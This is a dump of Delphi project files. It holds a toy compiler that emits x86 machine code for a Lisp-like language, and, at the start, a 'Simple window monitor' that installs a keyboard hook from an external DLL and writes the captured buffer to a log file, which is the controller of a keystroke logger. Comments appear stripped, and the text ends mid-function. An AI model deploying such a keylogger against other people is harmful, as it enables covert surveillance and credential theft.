    object MainForm: TMainForm Left = 656 Top = 452 BorderIcons = [biSystemMenu] BorderStyle = bsSingle Caption = 'Simple window monitor' ClientHeight = 63 ClientWidth = 318 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'Tahoma' Font.Style = [] OldCreateOrder = False Position = poDesktopCenter PixelsPerInch = 96 TextHeight = 13 object StartLoggingButton: TButton Left = 8 Top = 8 Width = 145 Height = 49 Caption = #1057#1090#1072#1088#1090 TabOrder = 0 OnClick = StartLoggingButtonClick end object StopLoggingButton: TButton Left = 160 Top = 8 Width = 153 Height = 49 Caption = #1057#1090#1086#1087 TabOrder = 1 OnClick = StopLoggingButtonClick endend

    _rpy3uH_ Windows/ /MainUnit1.pas

    unit MainUnit1;

    interface

    uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

    type TMainForm = class(TForm) StartLoggingButton: TButton; StopLoggingButton: TButton; procedure StartLoggingButtonClick(Sender: TObject); procedure StopLoggingButtonClick(Sender: TObject); private { Private declarations } public

    end;

    var MainForm: TMainForm;

    implementation

    {$R *.dfm}

    const MaxBufferSize=4*1024*1024; //4 MB

    DLLName='hookDLL.dll'; LogFileName = 'logfile.txt'; FileMappingName = 'WinHookSharedMemoryName'; MutexName = 'WinHookSyncMutexName';

    procedure SetKeyHook; stdcall; external DLLName;procedure DelKeyHook; stdcall; external DLLName;

    var FileMappingHandle:THandle = 0; SyncMutexHandle:THandle = 0; SharedBuffer:pointer= nil;

    procedure DumpBuffer;var FH:THandle; _WR:DWORD; _Buff:pointer;begin _Buff:=pointer(DWORD(SharedBuffer)+4); FH:=CreateFile(LogFileName,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ,0,OPEN_ALWAYS,0,0); SetFilePointer(FH,0,0,FILE_END); WriteFile(FH, _Buff^, lstrlen(_Buff),_WR,0); CloseHandle(FH); ZeroMemory(SharedBuffer, MaxBufferSize);end;

    procedure RunHook;begin FileMappingHandle:=CreateFileMapping(INVALID_HANDLE_VALUE,0,PAGE_READWRITE,0,MaxBufferSize,FileMappingName); SharedBuffer:=MapViewOfFile(FileMappingHandle,FILE_MAP_WRITE,0,0,MaxBufferSize); ZeroMemory(SharedBuffer,MaxBufferSize); DWORD(SharedBuffer^):=4; SyncMutexHandle:=CreateMutex(0,false,MutexName); SetKeyHook; end;

    procedure StopHook;begin DelKeyHook; DumpBuffer; UnmapViewOfFile(SharedBuffer); CloseHandle(FileMappingHandle); CloseHandle(SyncMutexHandle);end; procedure TMainForm.StartLoggingButtonClick(Sender: TObject);begin RunHook;end;

    procedure TMainForm.StopLoggingButtonClick(Sender: TObject);begin StopHook;end;

    end.

    _ _ . 4/file.source

    (main (+ 2 2 (+ 28.3 45) 5))

    _ _ . 4/file_0.source

    (main (:= pi 3.1415) (:= e (* (+ 2 2) (/ 18 (+ 32 (sin (/ pi 3.4))) ) ) ))

    _ _ . 4/Project2.cfg

    -$A8-$B--$C+-$D+-$E--$F--$G+-$H+-$I+-$J--$K--$L+-$M--$N+-$O+-$P+-$Q--$R--$S--$T--$U--$V+-$W--$X+-$YD-$Z1-cg-AWinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;-H+-W+-M-$M16384,1048576-K$00400000-LE"c:\program files\borland - delphi6\Projects\Bpl"-LN"c:\program files\borland - delphi6\Projects\Bpl"

    _ _ . 4/Project2.dof

    [FileVersion]Version=6.0[Compiler]A=8B=0C=1D=1E=0F=0G=1H=1I=1J=0K=0L=1M=0N=1O=1P=1Q=0R=0S=0T=0U=0V=1W=0X=1Y=1Z=1ShowHints=1ShowWarnings=1UnitAliases=WinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;[Linker]MapFile=0OutputObjs=0ConsoleApp=1DebugInfo=0RemoteSymbols=0MinStackSize=16384MaxStackSize=1048576ImageBase=4194304ExeDescription=[Directories]OutputDir=UnitOutputDir=PackageDLLOutputDir=PackageDCPOutputDir=SearchPath=Packages=vcl;rtl;dbrtl;adortl;vcldb;vclx;bdertl;vcldbx;ibxpress;dsnap;cds;bdecds;qrpt;teeui;teedb;tee;dss;teeqr;visualclx;visualdbclx;dsnapcrba;dsnapcon;VclSmp;vclshlctrls;vclie;xmlrtl;inet;inetdbbde;inetdbxpress;inetdb;nmfast;webdsnap;websnap;dbexpress;dbxcds;indy;dclOffice2k;imagn;a1Conditionals=DebugSourceDirs=UsePackages=0[Parameters]RunParams=HostApplication=Launcher=UseLauncher=0DebugCWD=[Language]ActiveLang=ProjectLang=RootDir=C:\Program Files\Borland\Delphi6\Bin\[Version Info]IncludeVerInfo=0AutoIncBuild=0MajorVer=1MinorVer=0Release=0Build=0Debug=0PreRelease=0Special=0Private=0DLL=0Locale=1058CodePage=1251[Version Info Keys]CompanyName=FileDescription=FileVersion=1.0.0.0InternalName=LegalCopyright=LegalTrademarks=OriginalFilename=ProductName=ProductVersion=1.0.0.0Comments=

    _ _ . 4/Project2.dpr

    program Project2;

    uses Forms, Unit2 in 'Unit2.pas' {Form1}, SetVar in 'Reserveds\SetVar.pas', Plus in 'Reserveds\Plus.pas', minus in 'Reserveds\minus.pas', UnitAsm in 'UnitAsm.pas', mul in 'Reserveds\mul.pas', divu in 'Reserveds\divu.pas', Trancendental in 'Reserveds\Trancendental.pas', IncrementDecrement in 'Reserveds\IncrementDecrement.pas', SelfOperated in 'Reserveds\SelfOperated.pas';

    {$R *.res}

    begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run;end.

    _ _ . 4/Project2.res

    _ _ . 4/Reserveds/divu.pas

    unit divu;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaDiv=class(TAlisaReserved) public TypeDiviation:byte; end;//**************************************implementationuses UnitAsm;

    end.

    _ _ . 4/Reserveds/IncrementDecrement.pas

    unit IncrementDecrement;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaInc=class(TAlisaReserved) end;//************************************** //** ************************************ TAlisaDec=class(TAlisaReserved) end;//**************************************implementationuses UnitAsm;

    end.

    _ _ . 4/Reserveds/minus.pas

    unit Minus;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaMinus=class(TAlisaReserved) end;//**************************************implementationuses UnitAsm;

    end.

    _ _ . 4/Reserveds/minus_01.pas

    unit Minus;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaMinus=class(TAlisaReserved) private Function OnInt(i:integer):String; override; Function OnDouble(d:Extended):String;override; Function OnMember(m:TAlisaMem):String;override; Function OnOperator(Oper:string):String;override; Function OnString(s:string):String;override; end;//**************************************implementation { TAlisaMinus }

    function FISUB_ESP:String; begin Result:=#$DA#$24#$24; {FISUB DWORD PTR SS:[ESP]} end; function FXCH:String; begin Result:=#$D9#$C9; {FXCH ST(1)} end; function FSUB_ST1_ST:String; begin Result:=#$DC#$E9+FXCH; {FSUB ST(1), ST} end; Function AddESP(i:byte):String; begin Result:=Result+#$83#$C4+chr(i); end; function FILD_ESP:String; begin Result:=#$DB#$04#$24;{FILD DWORD PTR SS:[ESP]} end;

    function TAlisaMinus.OnDouble;type toi=array[1..5] of DWORD;var s:string; i:integer;ii:toi;

    begin Result:=''; if TypeOfLastOperand=_Int then begin // Result:=#$68+DWordToStr(i);//PUSH EAX // , Result:=Result+FISUB_ESP; //FISUB DWORD PTR SS:[ESP] // Result:=Result+AddESP(4); //ADD ESP, 4 end; //ii:=toi(d); move(d,ii,sizeof(d)); // // Result:=Result+#$68+dwordToStr(ii[5]); //push dword d(5) Result:=Result+#$68+dwordToStr(ii[4]); //push dword d(4) Result:=Result+#$68+dwordToStr(ii[3]); //push dword d(3) Result:=Result+#$68+dwordToStr(ii[2]); //push dword d(2) Result:=Result+#$68+dwordToStr(ii[1]); //push dword d(1)

    // ST Result:=Result+#$DB#$2C#$24 ; //FLD TBYTE PTR SS:[ESP] if OperandNumber>1 then // ST(1) ST(0) Result:=Result+FSUB_ST1_ST ; //FSUB ST(1), ST // Result:=Result+AddESP(sizeof(ii)) ; //ADD ESP, 16

    TypeOfLastOperand:=_Double;end;

    function TAlisaMinus.OnInt(i: integer): String;begin if TypeOfLastOperand=_unknown then TypeOfLastOperand:=_Int; if TypeOfLastOperand=_Int then begin if OperandNumber=1 then begin Result:=#$B8+DWordToStr(i);//MOV EAX, int end else begin Result:=#$2D+DWordToStr(i);//SUB EAX, int end; TypeOfLastOperand:=_Int; end;

    if TypeOfLastOperand=_Double then begin Result:=#$68+DWordToStr(i);//PUSH Result:=Result+FISUB_ESP; //FISUB DWORD PTR SS:[ESP] // Result:=Result+AddESP(4); //ADD ESP, 4 TypeOfLastOperand:=_Double; end;end;

    function TAlisaMinus.OnMember(m: TAlisaMem): String; procedure MemInt; begin case TypeOfLastOperand of // _Int:begin //************************************** if OperandNumber=1 then begin Result:=#$A1+m.Addr;//MOV EAX, [mem] end else begin Result:=#$2B#$05+m.Addr;//SUB EAX, [mem] end; TypeOfLastOperand:=_Int; //************************************** Result:=Result+#$90; //nop end; // // // _Double:begin // Result:=Result+#$DB#$05+m.Addr; //FILD DWORD PTR DS:[402000] Result:=Result+FSUB_ST1_ST; //FSUB ST1, ST

    TypeOfLastOperand:=_Double; end; end; end;

    procedure MemDouble; begin case TypeOfLastOperand of _Int:begin Result:=Result+#$50; //PUSH EAX Result:=Result+FILD_ESP; //FILD DWORD PTR SS:[ESP] Result:=Result+AddESP(4); //ADD ESP, 4 Result:=Result+#$DB#$2D+m.Addr; //FLD TBYTE PTR DS:[mem] if OperandNumber>1 then Result:=Result+FSUB_ST1_ST; //FSUB ST(1), ST Result:=Result+#$90; //nop

    end; _Double:begin Result:=Result+#$DB#$2D+m.Addr; //FLD TBYTE PTR DS:[mem] if OperandNumber>1 then Result:=Result+FSUB_ST1_ST; //FSUB ST(1), ST Result:=Result+#$90; //nop end; end; TypeOfLastOperand:=_Double; end;begin Result:=''; if TypeOfLastOperand=_unknown then TypeOfLastOperand:=m.TypeMem; case m.TypeMem of _Int:MemInt; _Double:MemDouble; end;

    end;

    function TAlisaMinus.OnOperator(Oper: string): String;var TypeBeforeOperation:TypeOper;begin Result:=#$50; //push eax; TypeBeforeOperation:=TypeOfLastOperand; if TypeBeforeOperation=_Double Then begin Result:=Result+#$50#$50#$50; //PUSH EAX(3) Result:=Result+#$DB#$3C#$24; //FSTP TBYTE PTR SS:[ESP] end;

    Result:=Result+ inherited OnOperator(Oper);

    if TypeBeforeOperation=_Int Then begin if TypeOfLastOperand=_Double Then begin Result:=Result+#$50; //PUSH EAX Result:=Result+FILD_ESP; //FILD DWORD PTR SS:[ESP] Result:=Result+FSUB_ST1_ST; //FSUB ST(1), ST Result:=Result+AddESP(4); //ADD ESP, 4 end else begin Result:=Result+#$03#$04#$24;//ADD EAX, DWORD PTR SS:[ESP] Result:=Result+AddESP(4); //ADD ESP, 4 end; end; if TypeBeforeOperation=_Double Then begin Result:=Result+#$DB#$2C#$24; //FLD TBYTE PTR SS:[ESP] Result:=Result+FSUB_ST1_ST; //FSUB ST(1), ST // 16 // 12 + 4 Result:=Result+AddESP(16); //ADD ESP, 16 end; { if (TypeOfLastOperand=_Double) then begin if (TypeBeforeOperation=_Int) Then begin Result:=Result+#$50; //PUSH EAX Result:=Result+#$DB#$04#$24; //FILD DWORD PTR SS:[ESP] end; Result:=Result+FSUB_ST1_ST; //FSUB ST(1), ST if (TypeBeforeOperation=_Int) Then Result:=Result+#$83#$C4#$04; //ADD ESP, 4 end; if TypeOfLastOperand=_Int then Result:=Result+#$2B#$04#$24;//SUB EAX, DWORD PTR SS:[ESP] Result:=Result+AddESP(4); //ADD ESP, 4 }// TypeOfLastOperand:=_Operator;end;

    function TAlisaMinus.OnString(s: string): String;begin

    TypeOfLastOperand:=_String;end;

    end.

    _ _ . 4/Reserveds/mul.pas

    unit mul;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaMul=class(TAlisaReserved) end;//**************************************implementationuses UnitAsm;

    end.

    _ _ . 4/Reserveds/Plus.pas

    unit Plus;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaPlus=class(TAlisaReserved) private Function OnInt(i:integer):String; override; Function OnDouble(d:Extended):String;override; Function OnMember(m:TAlisaMem):String;override; Function OnOperator(Oper:string):String;override; end;//**************************************implementationuses UnitAsm;

    { TAlisaPlus }

    // , function TAlisaPlus.OnDouble(d: Extended): String;

    //**************************************** (* . , . *) procedure IfInt; begin Result:=Result+FPushEAX+FPushDConst(d)+FADD_ST0_ST(1); end; //**************************************** (* , ST0, ST1 . ST0, , : 1: , , . , , 2: . 10, , 7- NaN. FINIT. . *) //**************************************** procedure IfDouble; begin // if OperandNumber=1 then Result:=FINIT; // Result:=Result+FPushDConst(d); // if OperandNumber>1 then Result:=Result+FADD_ST0_ST(1); end; //****************************************begin (* - , .*) Result:=''; (* , - *) if TypeOfLastOperand=_Unknown then TypeOfLastOperand:=_Double; (* . , . - *) case TypeOfLastOperand of _Int:IfInt; _Double:IfDouble; end; (* . , .*) if TypeOfLastOperand=_Int then TypeOfLastOperand:=_Double;end;

    (* *)function TAlisaPlus.OnInt(i: integer): String; //**************************************** (* . . , *) procedure IfInt; begin (* , , , , , , *) if OperandNumber=1 then Result:=Result+MovEAXConst(i) else Result:=Result+ADDEAXConst(i); end; //**************************************** (* , , , . *) procedure IfDouble; begin if OperandNumber=1 then Result:=FINIT; Result:=Result+FPushIConst(i); if OperandNumber>1 then Result:=Result+FADD_ST0_ST(1); (* .*) if TypeOfLastOperand in [_Int,_Unknown] then TypeOfLastOperand:=_Double; end; //****************************************

    (* - , *)begin Result:=''; if TypeOfLastOperand=_Unknown then TypeOfLastOperand:=_Int; case TypeOfLastOperand of _Int:IfInt; _Double:IfDouble; end;end;

    (* , *)function TAlisaPlus.OnMember(m: TAlisaMem): String; //**************************************** (* , , , , . - *) procedure IfInt; begin if OperandNumber=1 then Result:=Result+MovEAXMem(m) else Result:=Result+ADDEAXMem(m); end;

    //**************************************** (* , , . . , FPushIMem. FPushDMem*) procedure IfDouble; begin if OperandNumber=1 then Result:=FINIT; if m.TypeMem=_Double then Result:=Result+FPushDMem(m) else Result:=Result+FPushIMem(m); (* , .*) if OperandNumber>1 then Result:=Result+FADD_ST0_ST(1); (* , , *) if TypeOfLastOperand in [_Int,_Unknown] then TypeOfLastOperand:=_Double; end; //****************************************begin Result:=''; (* . *) if TypeOfLastOperand=_Unknown then TypeOfLastOperand:=m.TypeMem; case TypeOfLastOperand of _Int:IfInt; _Double:IfDouble; end;end;

    (* - . . - , . , - - . , .*)function TAlisaPlus.OnOperator(Oper: string): String;(* - .*)var TypeBeforeOperation:TypeOper;

    //**************************************** (* , , , . : , , , , *) procedure IfOperInt; begin case TypeBeforeOperation of (* , 4 ( , ). , .*) _Int: Result:=Result+ADD_EAX_ESP+AddESP(4);

    (* , , , 32- , , . - . , , . , , . , . *) _Double:begin Result:=Result+PushEAX+FILD_ESP+PopEAX+FLD_ESP+AddESP(sizeof(TDoubleConst))+FADD_ST0_ST(1); (* , .*) TypeOfLastOperand:=_Double; end; end; end; //**************************************** (* , . FADD_ST0_ST*) procedure IfOperDouble; begin case TypeBeforeOperation of (* - , *) _Int: Result:=Result+FILD_ESP+FADD_ST0_ST(1)+AddESP(4); (* *) _Double: begin Result:=Result+FLD_ESP+FADD_ST0_ST(1)+AddESP(sizeof(TDoubleConst)); TypeOfLastOperand:=_Double; end; end; end; //****************************************

    begin Result:='';(*, *) TypeBeforeOperation:=TypeOfLastOperand;(* , ST0 *) if TypeBeforeOperation=_Double Then Result:=Result+FSTP_ESP; if TypeBeforeOperation=_Int Then Result:=Result+PushEAX;(* *) Result:=Result+ inherited OnOperator(Oper);(* *) case TypeOfLastOperand of _Int:IfOperInt; // _Double:IfOperDouble; // end;

    end;

    end.

    _ _ . 4/Reserveds/Plus_01.pas

    unit Plus;

    interface uses UnitCompiler,types;type //** ************************************ TAlisaPlus=class(TAlisaReserved) private Function OnInt(i:integer):String; override; Function OnDouble(d:Extended):String;override; Function OnMember(m:TAlisaMem):String;override; Function OnOperator(Oper:string):String;override; Function OnString(s:string):String;override; end;//**************************************implementationuses UnitAsm; { TAlisaPlus }

    function TAlisaPlus.OnDouble;type toi=array[1..5] of DWORD;var s:string; i:integer;ii:toi;

    procedure IfInt; begin Result:=Result+#$50; //PUSH EAX Result:=Result+FILD_ESP; //FILD DWORD PTR SS:[ESP] //#$DA#$04#$24; //FIADD DWORD PTR SS:[ESP] Result:=Result+AddESP(4); //ADD ESP, 4 end;

    procedure IfDouble; begin FillChar(ii,sizeof(d),0); move(d,ii,sizeof(d)); Result:=Result+#$68+dwordToStr(ii[5]); //push dword d(5) Result:=Result+#$68+dwordToStr(ii[4]); //push dword d(4) Result:=Result+#$68+dwordToStr(ii[3]); //push dword d(3) Result:=Result+#$68+dwordToStr(ii[2]); //push dword d(2) Result:=Result+#$68+dwordToStr(ii[1]); //push dword d(1) Result:=Result+#$DB#$2C#$24 ; //FLD TBYTE PTR SS:[ESP] if not ItFirstDoubleOperand then Result:=Result+FADD; //FADD ST, ST(1) Result:=Result+AddESP(sizeof(ii)) ; //ADD ESP, 16 end;

    begin Result:='';

    if TypeOfLastOperand=_Unknown then TypeOfLastOperand:=_Double; case TypeOfLastOperand of _Int:begin IfInt; IfDouble;end; _Double:IfDouble; end; ItFirstDoubleOperand:=false;